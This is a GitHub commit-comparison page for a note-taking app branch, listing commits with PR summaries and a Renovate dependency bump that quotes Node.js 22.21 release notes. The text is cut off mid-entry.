Compare commits

...

104 Commits

Author SHA1 Message Date
DarkSky
2ac9158f87 Merge branch 'canary' into darksky/native-sync-state 2026-01-04 00:27:17 +08:00
DarkSky
e7d0f31546 fix: blob redirect 2026-01-04 00:23:51 +08:00
DarkSky
fe5d6c0c0f feat(editor): support frontmatter & colored text parsing (#14205)
fix #13847
2026-01-03 22:43:11 +08:00
Yiding Jia
510933becf chore(server): bump ioredis to 5.8.2 for ipv6 support (#14204)
Bump ioredis to 5.8.2 for ipv6 support. 

Prior to 5.8.2 ioredis required passing `family: 0` or `family: 6` when
constructing a client in order to connect to redis over ipv6. This was
fixed in 5.8.2.

fix #14197
2026-01-03 01:06:30 +00:00
DarkSky
3633c75c6f feat: cleanup tables (#14203)
#### PR Dependency Tree


* **PR #14203** 👈

This tree was auto-generated by
[Charcoal](https://github.com/danerwilliams/charcoal)

<!-- This is an auto-generated comment: release notes by coderabbit.ai
-->
## Summary by CodeRabbit

* **Chores**
* Removed deprecated database tables, enums and schema fields (cleanup
of legacy subscription, invoice, runtime settings and session expiry
data). This includes irreversible data removal for those legacy
elements.
* **Tests**
* Updated tests and test data to align with the cleaned-up schema and
removed fields.

<sub>✏️ Tip: You can customize this high-level summary in your review
settings.</sub>
<!-- end of auto-generated comment: release notes by coderabbit.ai -->
2026-01-03 03:50:14 +08:00
DarkSky
41addfe311 fix: blob sync 2026-01-03 01:40:13 +08:00
DarkSky
9a7f8e7d4d feat: workspace level share settings (#14201)
fix #13698
2026-01-03 01:13:27 +08:00
DarkSky
60de882a30 feat: shared link list (#14200)
#### PR Dependency Tree


* **PR #14200** 👈

This tree was auto-generated by
[Charcoal](https://github.com/danerwilliams/charcoal)

<!-- This is an auto-generated comment: release notes by coderabbit.ai
-->

## Summary by CodeRabbit

## Release Notes

* **New Features**
* Added a "Shared Links" panel to workspace management, enabling admins
to view all published documents within a workspace
* Added publication date tracking for published documents, now displayed
alongside shared links

* **Chores**
  * Removed deprecated `publicPages` field; use `publicDocs` instead

<sub>✏️ Tip: You can customize this high-level summary in your review
settings.</sub>

<!-- end of auto-generated comment: release notes by coderabbit.ai -->
2026-01-02 21:07:41 +08:00
zetaloop
9f96633b33 fix: normalize shortcut display (#14196)
Normalize shortcut tokens and remove stray whitespace.
Uncomment group/ungroup shortcuts now that the feature is implemented.
Fix Windows redo shortcut display.

<img width="142" height="230" alt="image"
src="https://github.com/user-attachments/assets/989e061e-1ca2-489c-ab8e-6baad853d438"
/><img width="142" height="37" alt="image"
src="https://github.com/user-attachments/assets/671ed9b2-ccad-44ad-8889-7810bb01143c"
/>


<!-- This is an auto-generated comment: release notes by coderabbit.ai
-->

## Summary by CodeRabbit

* **Chores**
* Standardized keyboard shortcut representations across the application
for improved consistency and clarity in shortcut displays.
* Corrected spacing inconsistencies in shortcut entries to ensure
uniform formatting.

<sub>✏️ Tip: You can customize this high-level summary in your review
settings.</sub>

<!-- end of auto-generated comment: release notes by coderabbit.ai -->

---------

Co-authored-by: DarkSky <25152247+darkskygit@users.noreply.github.com>
2026-01-01 13:07:35 +00:00
DarkSky
1e8095c224 fix: ci 2026-01-01 18:20:18 +08:00
DarkSky
0b0ae5ea0a feat: add queue management for admin panel 2026-01-01 06:13:50 +08:00
DarkSky
f745f7b669 feat: pre-aggregation workspace stats 2026-01-01 05:01:52 +08:00
DarkSky
97507e7043 fix: query type cast 2026-01-01 02:41:03 +08:00
DarkSky
91e6f3c45c feat: improve workspace index 2026-01-01 01:39:40 +08:00
DarkSky
c7b74384a4 fix: types 2025-12-31 23:55:51 +08:00
DarkSky
20c4951847 feat: improve workspace list perf 2025-12-31 22:59:52 +08:00
DarkSky
7ef550a736 feat: native record encoding 2025-12-31 12:47:34 +08:00
DarkSky
bc03fab649 chore: cleanup logs 2025-12-31 12:31:58 +08:00
DarkSky
99332228da feat: native sync state (#14190)
<!-- This is an auto-generated comment: release notes by coderabbit.ai
-->

## Summary by CodeRabbit

* **New Features**
* Added indexed clock management capabilities for documents, enabling
get, set, and clear operations across Android, iOS, Electron, and web
platforms.

* **Refactor**
* Improved storage architecture to dynamically select platform-specific
implementations (SQLite for Electron, IndexedDB for others).

* **Bug Fixes**
* Enhanced document operations to properly maintain and clean up indexer
synchronization state during document lifecycle changes.

<sub>✏️ Tip: You can customize this high-level summary in your review
settings.</sub>

<!-- end of auto-generated comment: release notes by coderabbit.ai -->
2025-12-31 04:09:32 +08:00
DarkSky
95ef04f3e0 fix: cloud workspace search prefer & highlights 2025-12-30 12:46:43 +08:00
DarkSky
e2adab7805 fix: table compatibility (#14185) 2025-12-30 12:01:27 +08:00
DarkSky
30fb953344 fix: build 2025-12-30 05:41:55 +08:00
DarkSky
ff2e96d847 feat: database indexing support (#14181) 2025-12-30 05:23:09 +08:00
DarkSky
95a5e941e7 feat: improve admin panel (#14180) 2025-12-30 05:22:54 +08:00
DarkSky
d6b380aee5 feat: improve pdf rendering (#14171)
<!-- This is an auto-generated comment: release notes by coderabbit.ai
-->
## Summary by CodeRabbit

* **New Features**
* Bitmap caching for PDF pages to speed up rendering and reduce repeated
work.
* Automatic prefetching of adjacent pages and expanded viewport overscan
for smoother scrolling.

* **Performance**
* LRU-style in-memory cache with eviction to manage memory and improve
responsiveness.
* Reusable-bitmap lookup and error-tolerant fallbacks for more reliable,
faster page display.

<sub>✏️ Tip: You can customize this high-level summary in your review
settings.</sub>
<!-- end of auto-generated comment: release notes by coderabbit.ai -->
2025-12-29 22:01:07 +08:00
Yii
1b9d065778 chore(yocto): should auto gc after applying updates (#12199)
<!-- This is an auto-generated comment: release notes by coderabbit.ai
-->

## Summary by CodeRabbit

- **Bug Fixes**
- Improved document update handling to optimize storage automatically
when garbage collection is enabled.

<!-- end of auto-generated comment: release notes by coderabbit.ai -->

Co-authored-by: DarkSky <25152247+darkskygit@users.noreply.github.com>
2025-12-29 21:48:23 +08:00
DarkSky
e12fe9c12b fix: message handle (#14178)
<!-- This is an auto-generated comment: release notes by coderabbit.ai
-->
## Summary by CodeRabbit

* **Bug Fixes**
* Robustly sanitize session titles, messages, attachments, and embedded
data to remove invalid/null characters and prevent corrupt persistence.
* Improve chat title generation to skip or recover from invalid input
and log contextual errors without crashing.
* Add more detailed storage and workspace logs and reduce repetitive
checks to aid troubleshooting and stability.

<sub>✏️ Tip: You can customize this high-level summary in your review
settings.</sub>
<!-- end of auto-generated comment: release notes by coderabbit.ai -->
2025-12-29 21:47:53 +08:00
DarkSky
1bfd29df99 docs: update docs 2025-12-29 19:08:49 +08:00
renovate[bot]
a38e94f314 chore: bump up Node.js to v22.21.1 (#14175)
> **Note:** This PR body was truncated due to platform limits.

This PR contains the following updates:

| Package | Update | Change |
|---|---|---|
| [node](https://nodejs.org)
([source](https://redirect.github.com/nodejs/node)) | minor | `22.16.0`
-> `22.21.1` |

---

### Release Notes

<details>
<summary>nodejs/node (node)</summary>

###
[`v22.21.1`](https://redirect.github.com/nodejs/node/releases/tag/v22.21.1):
2025-10-28, Version 22.21.1 &#x27;Jod&#x27; (LTS), @&#8203;aduh95

[Compare
Source](https://redirect.github.com/nodejs/node/compare/v22.21.0...v22.21.1)

##### Commits

-
\[[`af33e8e668`](https://redirect.github.com/nodejs/node/commit/af33e8e668)]
- **benchmark**: remove unused variable from util/priority-queue (Bruno
Rodrigues)
[#&#8203;59872](https://redirect.github.com/nodejs/node/pull/59872)
-
\[[`6764ce8756`](https://redirect.github.com/nodejs/node/commit/6764ce8756)]
- **benchmark**: update count to n in permission startup (Bruno
Rodrigues)
[#&#8203;59872](https://redirect.github.com/nodejs/node/pull/59872)
-
\[[`4e8d99f0dc`](https://redirect.github.com/nodejs/node/commit/4e8d99f0dc)]
- **benchmark**: update num to n in dgram offset-length (Bruno
Rodrigues)
[#&#8203;59872](https://redirect.github.com/nodejs/node/pull/59872)
-
\[[`af0a8ba7f8`](https://redirect.github.com/nodejs/node/commit/af0a8ba7f8)]
- **benchmark**: adjust dgram offset-length len values (Bruno Rodrigues)
[#&#8203;59708](https://redirect.github.com/nodejs/node/pull/59708)
-
\[[`78efd1be4a`](https://redirect.github.com/nodejs/node/commit/78efd1be4a)]
- **benchmark**: update num to n in dgram offset-length (Bruno
Rodrigues)
[#&#8203;59708](https://redirect.github.com/nodejs/node/pull/59708)
-
\[[`df72dc96e9`](https://redirect.github.com/nodejs/node/commit/df72dc96e9)]
- **console,util**: improve array inspection performance (Ruben
Bridgewater)
[#&#8203;60037](https://redirect.github.com/nodejs/node/pull/60037)
-
\[[`ef67d09f50`](https://redirect.github.com/nodejs/node/commit/ef67d09f50)]
- **http**: improve writeEarlyHints by avoiding for-of loop (Haram
Jeong)
[#&#8203;59958](https://redirect.github.com/nodejs/node/pull/59958)
-
\[[`23468fd76b`](https://redirect.github.com/nodejs/node/commit/23468fd76b)]
- **http2**: fix allowHttp1+Upgrade, broken by shouldUpgradeCallback
(Tim Perry)
[#&#8203;59924](https://redirect.github.com/nodejs/node/pull/59924)
-
\[[`56abc4ac76`](https://redirect.github.com/nodejs/node/commit/56abc4ac76)]
- **lib**: optimize priority queue (Gürgün Dayıoğlu)
[#&#8203;60039](https://redirect.github.com/nodejs/node/pull/60039)
-
\[[`ea5cfd98c5`](https://redirect.github.com/nodejs/node/commit/ea5cfd98c5)]
- **lib**: implement passive listener behavior per spec (BCD1me)
[#&#8203;59995](https://redirect.github.com/nodejs/node/pull/59995)
-
\[[`c2dd6eed2f`](https://redirect.github.com/nodejs/node/commit/c2dd6eed2f)]
- **process**: fix wrong asyncContext under unhandled-rejections=strict
(Shima Ryuhei)
[#&#8203;60103](https://redirect.github.com/nodejs/node/pull/60103)
-
\[[`81a3055710`](https://redirect.github.com/nodejs/node/commit/81a3055710)]
- **process**: fix default `env` for `process.execve` (Richard Lau)
[#&#8203;60029](https://redirect.github.com/nodejs/node/pull/60029)
-
\[[`fe492c7ace`](https://redirect.github.com/nodejs/node/commit/fe492c7ace)]
- **process**: fix hrtime fast call signatures (Renegade334)
[#&#8203;59600](https://redirect.github.com/nodejs/node/pull/59600)
-
\[[`76b4cab8fc`](https://redirect.github.com/nodejs/node/commit/76b4cab8fc)]
- **src**: bring permissions macros in line with general C/C++ standards
(Anna Henningsen)
[#&#8203;60053](https://redirect.github.com/nodejs/node/pull/60053)
-
\[[`21970970c7`](https://redirect.github.com/nodejs/node/commit/21970970c7)]
- **src**: remove `AnalyzeTemporaryDtors` option from .clang-tidy
(iknoom)
[#&#8203;60008](https://redirect.github.com/nodejs/node/pull/60008)
-
\[[`609c063e81`](https://redirect.github.com/nodejs/node/commit/609c063e81)]
- **src**: remove unused variables from report (Moonki Choi)
[#&#8203;60047](https://redirect.github.com/nodejs/node/pull/60047)
-
\[[`987841a773`](https://redirect.github.com/nodejs/node/commit/987841a773)]
- **src**: avoid unnecessary string allocations in SPrintF impl (Anna
Henningsen)
[#&#8203;60052](https://redirect.github.com/nodejs/node/pull/60052)
-
\[[`6e386c0632`](https://redirect.github.com/nodejs/node/commit/6e386c0632)]
- **src**: make ToLower/ToUpper input args more flexible (Anna
Henningsen)
[#&#8203;60052](https://redirect.github.com/nodejs/node/pull/60052)
-
\[[`c3be1226c7`](https://redirect.github.com/nodejs/node/commit/c3be1226c7)]
- **src**: allow `std::string_view` arguments to `SPrintF()` and friends
(Anna Henningsen)
[#&#8203;60058](https://redirect.github.com/nodejs/node/pull/60058)
-
\[[`764d35647d`](https://redirect.github.com/nodejs/node/commit/764d35647d)]
- **src**: remove unnecessary `std::string` error messages (Anna
Henningsen)
[#&#8203;60057](https://redirect.github.com/nodejs/node/pull/60057)
-
\[[`1289ef89ec`](https://redirect.github.com/nodejs/node/commit/1289ef89ec)]
- **src**: remove unnecessary shadowed functions on Utf8Value &
BufferValue (Anna Henningsen)
[#&#8203;60056](https://redirect.github.com/nodejs/node/pull/60056)
-
\[[`d1fb8a538d`](https://redirect.github.com/nodejs/node/commit/d1fb8a538d)]
- **src**: avoid unnecessary string -> `char*` -> string round trips
(Anna Henningsen)
[#&#8203;60055](https://redirect.github.com/nodejs/node/pull/60055)
-
\[[`54b439fb5a`](https://redirect.github.com/nodejs/node/commit/54b439fb5a)]
- **src**: fill `options_args`, `options_env` after vectors are
finalized (iknoom)
[#&#8203;59945](https://redirect.github.com/nodejs/node/pull/59945)
-
\[[`c7c597e2ca`](https://redirect.github.com/nodejs/node/commit/c7c597e2ca)]
- **src**: use RAII for uv\_process\_options\_t (iknoom)
[#&#8203;59945](https://redirect.github.com/nodejs/node/pull/59945)
-
\[[`b928ea9716`](https://redirect.github.com/nodejs/node/commit/b928ea9716)]
- **test**: ensure that the message event is fired (Luigi Pinca)
[#&#8203;59952](https://redirect.github.com/nodejs/node/pull/59952)
-
\[[`e4b95a5158`](https://redirect.github.com/nodejs/node/commit/e4b95a5158)]
- **test**: replace diagnostics\_channel stackframe in output snapshots
(Chengzhong Wu)
[#&#8203;60024](https://redirect.github.com/nodejs/node/pull/60024)
-
\[[`4206406694`](https://redirect.github.com/nodejs/node/commit/4206406694)]
- **test**: mark test-web-locks skip on IBM i (SRAVANI GUNDEPALLI)
[#&#8203;59996](https://redirect.github.com/nodejs/node/pull/59996)
-
\[[`26394cd5bf`](https://redirect.github.com/nodejs/node/commit/26394cd5bf)]
- **test**: expand tls-check-server-identity coverage (Diango Gavidia)
[#&#8203;60002](https://redirect.github.com/nodejs/node/pull/60002)
-
\[[`b58df47995`](https://redirect.github.com/nodejs/node/commit/b58df47995)]
- **test**: fix typo of test-benchmark-readline.js (Deokjin Kim)
[#&#8203;59993](https://redirect.github.com/nodejs/node/pull/59993)
-
\[[`af3a59dba8`](https://redirect.github.com/nodejs/node/commit/af3a59dba8)]
- **test**: verify tracing channel doesn't swallow unhandledRejection
(Gerhard Stöbich)
[#&#8203;59974](https://redirect.github.com/nodejs/node/pull/59974)
-
\[[`cee362242b`](https://redirect.github.com/nodejs/node/commit/cee362242b)]
- **timers**: fix binding fast call signatures (Renegade334)
[#&#8203;59600](https://redirect.github.com/nodejs/node/pull/59600)
-
\[[`40fea57fdd`](https://redirect.github.com/nodejs/node/commit/40fea57fdd)]
- **tools**: add message on auto-fixing js lint issues in gh workflow
(Dario Piotrowicz)
[#&#8203;59128](https://redirect.github.com/nodejs/node/pull/59128)
-
\[[`aac90d351b`](https://redirect.github.com/nodejs/node/commit/aac90d351b)]
- **tools**: verify signatures when updating nghttp\* (Antoine du Hamel)
[#&#8203;60113](https://redirect.github.com/nodejs/node/pull/60113)
-
\[[`9fae03c7d9`](https://redirect.github.com/nodejs/node/commit/9fae03c7d9)]
- **tools**: use dependabot cooldown and move tools/doc (Rafael Gonzaga)
[#&#8203;59978](https://redirect.github.com/nodejs/node/pull/59978)
-
\[[`81548abdf6`](https://redirect.github.com/nodejs/node/commit/81548abdf6)]
- **wasi**: fix WasiFunction fast call signature (Renegade334)
[#&#8203;59600](https://redirect.github.com/nodejs/node/pull/59600)

###
[`v22.21.0`](https://redirect.github.com/nodejs/node/releases/tag/v22.21.0):
2025-10-20, Version 22.21.0 &#x27;Jod&#x27; (LTS), @&#8203;aduh95

[Compare
Source](https://redirect.github.com/nodejs/node/compare/v22.20.0...v22.21.0)

##### Notable Changes

-
\[[`1486fedea1`](https://redirect.github.com/nodejs/node/commit/1486fedea1)]
- **(SEMVER-MINOR)** **cli**: add `--use-env-proxy` (Joyee Cheung)
[#&#8203;59151](https://redirect.github.com/nodejs/node/pull/59151)
-
\[[`bedaaa11fc`](https://redirect.github.com/nodejs/node/commit/bedaaa11fc)]
- **(SEMVER-MINOR)** **http**: support http proxy for fetch under
`NODE_USE_ENV_PROXY` (Joyee Cheung)
[#&#8203;57165](https://redirect.github.com/nodejs/node/pull/57165)
-
\[[`af8b5fa29d`](https://redirect.github.com/nodejs/node/commit/af8b5fa29d)]
- **(SEMVER-MINOR)** **http**: add `shouldUpgradeCallback` to let
servers control HTTP upgrades (Tim Perry)
[#&#8203;59824](https://redirect.github.com/nodejs/node/pull/59824)
-
\[[`42102594b1`](https://redirect.github.com/nodejs/node/commit/42102594b1)]
- **(SEMVER-MINOR)** **http,https**: add built-in proxy support in
`http`/`https.request` and `Agent` (Joyee Cheung)
[#&#8203;58980](https://redirect.github.com/nodejs/node/pull/58980)
-
\[[`686ac49b82`](https://redirect.github.com/nodejs/node/commit/686ac49b82)]
- **(SEMVER-MINOR)** **src**: add percentage support to
`--max-old-space-size` (Asaf Federman)
[#&#8203;59082](https://redirect.github.com/nodejs/node/pull/59082)

##### Commits

-
\[[`a71dd592e3`](https://redirect.github.com/nodejs/node/commit/a71dd592e3)]
- **benchmark**: calibrate config dgram multi-buffer (Bruno Rodrigues)
[#&#8203;59696](https://redirect.github.com/nodejs/node/pull/59696)
-
\[[`16c4b466f4`](https://redirect.github.com/nodejs/node/commit/16c4b466f4)]
- **benchmark**: calibrate config cluster/echo.js (Nam Yooseong)
[#&#8203;59836](https://redirect.github.com/nodejs/node/pull/59836)
-
\[[`53cb9f3b6c`](https://redirect.github.com/nodejs/node/commit/53cb9f3b6c)]
- **build**: add the missing macro definitions for OpenHarmony (hqzing)
[#&#8203;59804](https://redirect.github.com/nodejs/node/pull/59804)
-
\[[`ec5290fe01`](https://redirect.github.com/nodejs/node/commit/ec5290fe01)]
- **build**: do not include custom ESLint rules testing in tarball
(Antoine du Hamel)
[#&#8203;59809](https://redirect.github.com/nodejs/node/pull/59809)
-
\[[`1486fedea1`](https://redirect.github.com/nodejs/node/commit/1486fedea1)]
- **(SEMVER-MINOR)** **cli**: add --use-env-proxy (Joyee Cheung)
[#&#8203;59151](https://redirect.github.com/nodejs/node/pull/59151)
-
\[[`1f93913446`](https://redirect.github.com/nodejs/node/commit/1f93913446)]
- **crypto**: use `return await` when returning Promises from async
functions (Renegade334)
[#&#8203;59841](https://redirect.github.com/nodejs/node/pull/59841)
-
\[[`f488b2ff73`](https://redirect.github.com/nodejs/node/commit/f488b2ff73)]
- **crypto**: use async functions for non-stub Promise-returning
functions (Renegade334)
[#&#8203;59841](https://redirect.github.com/nodejs/node/pull/59841)
-
\[[`aed9fd5ac4`](https://redirect.github.com/nodejs/node/commit/aed9fd5ac4)]
- **crypto**: avoid calls to `promise.catch()` (Renegade334)
[#&#8203;59841](https://redirect.github.com/nodejs/node/pull/59841)
-
\[[`37c2d186f0`](https://redirect.github.com/nodejs/node/commit/37c2d186f0)]
- **deps**: update amaro to 1.1.4 (pmarchini)
[#&#8203;60044](https://redirect.github.com/nodejs/node/pull/60044)
-
\[[`28aea13419`](https://redirect.github.com/nodejs/node/commit/28aea13419)]
- **deps**: update archs files for openssl-3.5.4 (Node.js GitHub Bot)
[#&#8203;60101](https://redirect.github.com/nodejs/node/pull/60101)
-
\[[`ddbc1aa0bb`](https://redirect.github.com/nodejs/node/commit/ddbc1aa0bb)]
- **deps**: upgrade openssl sources to openssl-3.5.4 (Node.js GitHub
Bot) [#&#8203;60101](https://redirect.github.com/nodejs/node/pull/60101)
-
\[[`badbba2da9`](https://redirect.github.com/nodejs/node/commit/badbba2da9)]
- **deps**: update googletest to
[`50b8600`](https://redirect.github.com/nodejs/node/commit/50b8600)
(Node.js GitHub Bot)
[#&#8203;59955](https://redirect.github.com/nodejs/node/pull/59955)
-
\[[`48aaf98a08`](https://redirect.github.com/nodejs/node/commit/48aaf98a08)]
- **deps**: update archs files for openssl-3.5.3 (Node.js GitHub Bot)
[#&#8203;59901](https://redirect.github.com/nodejs/node/pull/59901)
-
\[[`e02a562ea6`](https://redirect.github.com/nodejs/node/commit/e02a562ea6)]
- **deps**: upgrade openssl sources to openssl-3.5.3 (Node.js GitHub
Bot) [#&#8203;59901](https://redirect.github.com/nodejs/node/pull/59901)
-
\[[`7e0e86cb92`](https://redirect.github.com/nodejs/node/commit/7e0e86cb92)]
- **deps**: upgrade npm to 10.9.4 (npm team)
[#&#8203;60074](https://redirect.github.com/nodejs/node/pull/60074)
-
\[[`91dda5facf`](https://redirect.github.com/nodejs/node/commit/91dda5facf)]
- **deps**: update undici to 6.22.0 (Matteo Collina)
[#&#8203;60112](https://redirect.github.com/nodejs/node/pull/60112)
-
\[[`3a3220a2f0`](https://redirect.github.com/nodejs/node/commit/3a3220a2f0)]
- **dgram**: restore buffer optimization in fixBufferList (Yoo)
[#&#8203;59934](https://redirect.github.com/nodejs/node/pull/59934)
-
\[[`09bdcce6b8`](https://redirect.github.com/nodejs/node/commit/09bdcce6b8)]
- **diagnostics\_channel**: fix race condition with diagnostics\_channel
and GC (Ugaitz Urien)
[#&#8203;59910](https://redirect.github.com/nodejs/node/pull/59910)
-
\[[`b3eeb3bd13`](https://redirect.github.com/nodejs/node/commit/b3eeb3bd13)]
- **doc**: provide alternative to `url.parse()` using WHATWG URL
(Steven)
[#&#8203;59736](https://redirect.github.com/nodejs/node/pull/59736)
-
\[[`1ddaab1904`](https://redirect.github.com/nodejs/node/commit/1ddaab1904)]
- **doc**: mention reverse proxy and include simple example (Steven)
[#&#8203;59736](https://redirect.github.com/nodejs/node/pull/59736)
-
\[[`3b3b71e99c`](https://redirect.github.com/nodejs/node/commit/3b3b71e99c)]
- **doc**: mark `.env` files support as stable (Santeri Hiltunen)
[#&#8203;59925](https://redirect.github.com/nodejs/node/pull/59925)
-
\[[`d37f67d1bd`](https://redirect.github.com/nodejs/node/commit/d37f67d1bd)]
- **doc**: remove optional title prefixes (Aviv Keller)
[#&#8203;60087](https://redirect.github.com/nodejs/node/pull/60087)
-
\[[`ca2dff63f9`](https://redirect.github.com/nodejs/node/commit/ca2dff63f9)]
- **doc**: fix typo on child\_process.md (Angelo Gazzola)
[#&#8203;60114](https://redirect.github.com/nodejs/node/pull/60114)
-
\[[`3fca564a05`](https://redirect.github.com/nodejs/node/commit/3fca564a05)]
- **doc**: add automated migration info to deprecations (Augustin
Mauroy)
[#&#8203;60022](https://redirect.github.com/nodejs/node/pull/60022)
-
\[[`4bc366fc16`](https://redirect.github.com/nodejs/node/commit/4bc366fc16)]
- **doc**: use "WebAssembly" instead of "Web Assembly" (Tobias Nießen)
[#&#8203;59954](https://redirect.github.com/nodejs/node/pull/59954)
-
\[[`4808dbdd9a`](https://redirect.github.com/nodejs/node/commit/4808dbdd9a)]
- **doc**: fix typo in section on microtask order (Tobias Nießen)
[#&#8203;59932](https://redirect.github.com/nodejs/node/pull/59932)
-
\[[`d6e303d645`](https://redirect.github.com/nodejs/node/commit/d6e303d645)]
- **doc**: update V8 fast API guidance (René)
[#&#8203;58999](https://redirect.github.com/nodejs/node/pull/58999)
-
\[[`0a3a3f729e`](https://redirect.github.com/nodejs/node/commit/0a3a3f729e)]
- **doc**: add security escalation policy (Ulises Gascón)
[#&#8203;59806](https://redirect.github.com/nodejs/node/pull/59806)
-
\[[`8fd669c70d`](https://redirect.github.com/nodejs/node/commit/8fd669c70d)]
- **doc**: type improvement of file `http.md` (yusheng chen)
[#&#8203;58189](https://redirect.github.com/nodejs/node/pull/58189)
-
\[[`9833dc6060`](https://redirect.github.com/nodejs/node/commit/9833dc6060)]
- **doc**: rephrase dynamic import() description (Nam Yooseong)
[#&#8203;59224](https://redirect.github.com/nodejs/node/pull/59224)
-
\[[`2870a73681`](https://redirect.github.com/nodejs/node/commit/2870a73681)]
- **doc,crypto**: update subtle.generateKey and subtle.importKey (Filip
Skokan)
[#&#8203;59851](https://redirect.github.com/nodejs/node/pull/59851)
-
\[[`85818db93c`](https://redirect.github.com/nodejs/node/commit/85818db93c)]
- **fs,win**: do not add a second trailing slash in readdir (Gerhard
Stöbich)
[#&#8203;59847](https://redirect.github.com/nodejs/node/pull/59847)
-
\[[`bedaaa11fc`](https://redirect.github.com/nodejs/node/commit/bedaaa11fc)]
- **(SEMVER-MINOR)** **http**: support http proxy for fetch under
NODE\_USE\_ENV\_PROXY (Joyee Cheung)
[#&#8203;57165](https://redirect.github.com/nodejs/node/pull/57165)
-
\[[`af8b5fa29d`](https://redirect.github.com/nodejs/node/commit/af8b5fa29d)]
- **(SEMVER-MINOR)** **http**: add shouldUpgradeCallback to let servers
control HTTP upgrades (Tim Perry)
[#&#8203;59824](https://redirect.github.com/nodejs/node/pull/59824)
-
\[[`758271ae66`](https://redirect.github.com/nodejs/node/commit/758271ae66)]
- **http**: optimize checkIsHttpToken for short strings (방진혁)
[#&#8203;59832](https://redirect.github.com/nodejs/node/pull/59832)
-
\[[`42102594b1`](https://redirect.github.com/nodejs/node/commit/42102594b1)]
- **(SEMVER-MINOR)** **http,https**: add built-in proxy support in
http/https.request and Agent (Joyee Cheung)
[#&#8203;58980](https://redirect.github.com/nodejs/node/pull/58980)
-
\[[`a33ed9bf96`](https://redirect.github.com/nodejs/node/commit/a33ed9bf96)]
- **inspector**: ensure adequate memory allocation for
`Binary::toBase64` (René)
[#&#8203;59870](https://redirect.github.com/nodejs/node/pull/59870)
-
\[[`34c686be2b`](https://redirect.github.com/nodejs/node/commit/34c686be2b)]
- **lib**: update inspect output format for subclasses (Miguel Marcondes
Filho)
[#&#8203;59687](https://redirect.github.com/nodejs/node/pull/59687)
-
\[[`12e553529c`](https://redirect.github.com/nodejs/node/commit/12e553529c)]
- **lib**: add source map support for assert messages (Chengzhong Wu)
[#&#8203;59751](https://redirect.github.com/nodejs/node/pull/59751)
-
\[[`d2a70571f8`](https://redirect.github.com/nodejs/node/commit/d2a70571f8)]
- **lib,src**: refactor assert to load error source from memory
(Chengzhong Wu)
[#&#8203;59751](https://redirect.github.com/nodejs/node/pull/59751)
-
\[[`20a9e86b5d`](https://redirect.github.com/nodejs/node/commit/20a9e86b5d)]
- **meta**: move Michael to emeritus (Michael Dawson)
[#&#8203;60070](https://redirect.github.com/nodejs/node/pull/60070)
-
\[[`c591cca15c`](https://redirect.github.com/nodejs/node/commit/c591cca15c)]
- **meta**: bump github/codeql-action from 3.30.0 to 3.30.5
(dependabot\[bot])
[#&#8203;60089](https://redirect.github.com/nodejs/node/pull/60089)
-
\[[`090ba141b1`](https://redirect.github.com/nodejs/node/commit/090ba141b1)]
- **meta**: bump codecov/codecov-action from 5.5.0 to 5.5.1
(dependabot\[bot])
[#&#8203;60091](https://redirect.github.com/nodejs/node/pull/60091)
-
\[[`a0ba6884a5`](https://redirect.github.com/nodejs/node/commit/a0ba6884a5)]
- **meta**: bump actions/stale from 9.1.0 to 10.0.0 (dependabot\[bot])
[#&#8203;60092](https://redirect.github.com/nodejs/node/pull/60092)
-
\[[`0feca0c541`](https://redirect.github.com/nodejs/node/commit/0feca0c541)]
- **meta**: bump actions/setup-node from 4.4.0 to 5.0.0
(dependabot\[bot])
[#&#8203;60093](https://redirect.github.com/nodejs/node/pull/60093)
-
\[[`7cd2b42d18`](https://redirect.github.com/nodejs/node/commit/7cd2b42d18)]
- **meta**: bump step-security/harden-runner from 2.12.2 to 2.13.1
(dependabot\[bot])
[#&#8203;60094](https://redirect.github.com/nodejs/node/pull/60094)
-
\[[`1f3b9d66ac`](https://redirect.github.com/nodejs/node/commit/1f3b9d66ac)]
- **meta**: bump actions/cache from 4.2.4 to 4.3.0 (dependabot\[bot])
[#&#8203;60095](https://redirect.github.com/nodejs/node/pull/60095)
-
\[[`0fedbb3de7`](https://redirect.github.com/nodejs/node/commit/0fedbb3de7)]
- **meta**: bump ossf/scorecard-action from 2.4.2 to 2.4.3
(dependabot\[bot])
[#&#8203;60096](https://redirect.github.com/nodejs/node/pull/60096)
-
\[[`04590b8267`](https://redirect.github.com/nodejs/node/commit/04590b8267)]
- **meta**: bump actions/setup-python from 5.6.0 to 6.0.0
(dependabot\[bot])
[#&#8203;60090](https://redirect.github.com/nodejs/node/pull/60090)
-
\[[`2bf0a9318f`](https://redirect.github.com/nodejs/node/commit/2bf0a9318f)]
- **meta**: add .npmrc with ignore-scripts=true (Joyee Cheung)
[#&#8203;59914](https://redirect.github.com/nodejs/node/pull/59914)
-
\[[`e10dc7b81c`](https://redirect.github.com/nodejs/node/commit/e10dc7b81c)]
- **module**: allow overriding linked requests for a ModuleWrap
(Chengzhong Wu)
[#&#8203;59527](https://redirect.github.com/nodejs/node/pull/59527)
-
\[[`2237142369`](https://redirect.github.com/nodejs/node/commit/2237142369)]
- **module**: link module with a module request record (Chengzhong Wu)
[#&#8203;58886](https://redirect.github.com/nodejs/node/pull/58886)
-
\[[`6d24b88fbc`](https://redirect.github.com/nodejs/node/commit/6d24b88fbc)]
- **node-api**: added SharedArrayBuffer api (Mert Can Altin)
[#&#8203;59071](https://redirect.github.com/nodejs/node/pull/59071)
-
\[[`4cc84c96f4`](https://redirect.github.com/nodejs/node/commit/4cc84c96f4)]
- **node-api**: make napi\_delete\_reference use node\_api\_basic\_env
(Jeetu Suthar)
[#&#8203;59684](https://redirect.github.com/nodejs/node/pull/59684)
-
\[[`e790eb6b50`](https://redirect.github.com/nodejs/node/commit/e790eb6b50)]
- **repl**: fix cpu overhead pasting big strings to the REPL (Ruben
Bridgewater)
[#&#8203;59857](https://redirect.github.com/nodejs/node/pull/59857)
-
\[[`99ea08dc43`](https://redirect.github.com/nodejs/node/commit/99ea08dc43)]
- **repl**: add isValidParentheses check before wrap input (Xuguang Mei)
[#&#8203;59607](https://redirect.github.com/nodejs/node/pull/59607)
-
\[[`e4a4f63019`](https://redirect.github.com/nodejs/node/commit/e4a4f63019)]
- **sqlite**: fix crash session extension callbacks with workers (Bart
Louwers)
[#&#8203;59848](https://redirect.github.com/nodejs/node/pull/59848)
-
\[[`42c5544b97`](https://redirect.github.com/nodejs/node/commit/42c5544b97)]
- **src**: assert memory calc for max-old-space-size-percentage (Asaf
Federman)
[#&#8203;59460](https://redirect.github.com/nodejs/node/pull/59460)
-
\[[`686ac49b82`](https://redirect.github.com/nodejs/node/commit/686ac49b82)]
- **(SEMVER-MINOR)** **src**: add percentage support to
